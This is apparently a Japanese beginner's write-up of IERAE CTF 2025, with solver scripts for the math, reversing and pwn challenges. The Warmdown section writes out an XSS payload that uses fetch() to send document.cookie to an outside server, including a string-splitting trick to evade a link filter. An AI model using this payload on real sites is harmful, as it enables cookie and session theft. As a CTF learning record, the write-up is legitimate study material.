どうも、susumuです。
今回、IERAE CTF 2025に参加してきました。

結果は94位で、初心者としてはなかなか良い結果だと思ってます。
解けた問題についていろいろ書いていきます。
Welcome
discordにフラグが書いてあるやつですね。
DiNo.1
ネットに接続できないときにブラウザできるあのゲームみたいなやつ。
ソースコードを読んでどうにかしてフラグを取得するんだろうなと思いながら遊んだら、何か普通に5000点以上出たので終わりです。
Baby MSD
ランダムな数字に対してmodを取って、一番上の位の数字は何が一番多くなるかを答える問題。
とりあえずプログラムを組んで、どんな数を法にすればいいのかを実験した結果、どうやら素数の累乗を使うと1が多くなるみたい。厳密な証明はわからん。
というわけで、下のようなコードを書いてフラグ取得。
from pwn import *
from random import randint
M=2**100
ans='1'
io= remote('問題のIP',ポート)
for i in range(100):
for j in range(2000):
io.sendline(str(M).encode())
print(j)
io.recvuntil(b'Which number (1~9) appeared the most? : ')
io.sendline(ans.encode())
result=io.recvline()
print(result)
result=io.recvline()
print(result)
result=io.recvall()
print(result)
Length Calculator
ソースコードを読むとsegmentation faultを起こせばフラグを得られるみたい。さらに読んでみると、指定したサイズのメモリを確保するみたいなので、サイズを0にしてみたらフラグを入手できました。
rev rev rev
ソースコードの手順を逆からやればOKです。
flag=[-246, -131, -204, -199, -159, -203, -201, -207, -199, -159, -204, -158, -155, -205, -211, -206, -201, -206, -205, -211, -158, -159, -207, -202, -211, -199, -206, -155, -206, -211, -204, -200, -200, -200, -203, -208, -159, -199, -133, -187, -191, -174, -187, -183]
flag=[~i for i in flag]
flag=[i^0xff for i in flag]
flag.reverse()
flag=[chr(i) for i in flag]
flag=''.join(i for i in flag)
print(flag)
Warmdown
自分でmarkdownを書き、botで読み込ませてフラグを取得する問題。ソースコードを読んでみると以下の手順で入力した内容を処理している。
- <と>を大文字に変更
- 記号をエスケープ処理
- エスケープ処理したものを元に戻す
最後の処理でエスケープ処理をしたものを元に戻すので、エスケープ記号を使ってXSSを行うことで、最初のサニタイズを回避します。
<img src=a onerror=fetch("https://何かしらのサーバー?flag="+document.cookie)>
これだとリンクが処理されてhref属性が勝手に作られるので、リンクだと認識させないようにします。
<img src=a onerror=fetch("ht"+"tps://何かしらのサーバー?flag="+document.cookie)>
これをbotに読み込ませればフラグを取得できます。
ちなみに自分はリクエストを受け取るためのやつにwebhook.siteを使っています。
MSD
Baby MSDと同じような問題。今回は各ステージで使われている乱数が1つだけになっているので、法とする数を複数用意してゴリ押しする方針でうまくいきました。
from pwn import *
from random import randint
M=2**100
power=0
prime=[2,3,5,7,11,13,17,19,23,29,31,37]
num=0
ans='1'
io= remote('問題のIP',ポート)
for i in range(100):
for j in range(2000):
while True:
tmp=prime[num]
M=tmp** power
power+=1
if M>10**99:
num+=1
if num>=12:
num=0
power=0
elif M>10**30:
break
io.sendline(str(M).encode())
print(j)
io.recvuntil(b'Which number (1~9) appeared the most? : ')
io.sendline(ans.encode())
result=io.recvline()
print(result)
result=io.recvline()
print(result)
result=io.recvall()
print(result)
感想
久しぶりにCTFに参加しましたが、やっぱり問題が解ける瞬間が気持ちよくて面白いです。ただ、自分の実力不足でまだ簡単な問題しか解けないので、いろいろ勉強していきたいですね。これからも時間があればなんかしらのCTFに参加していきたいと思ってます。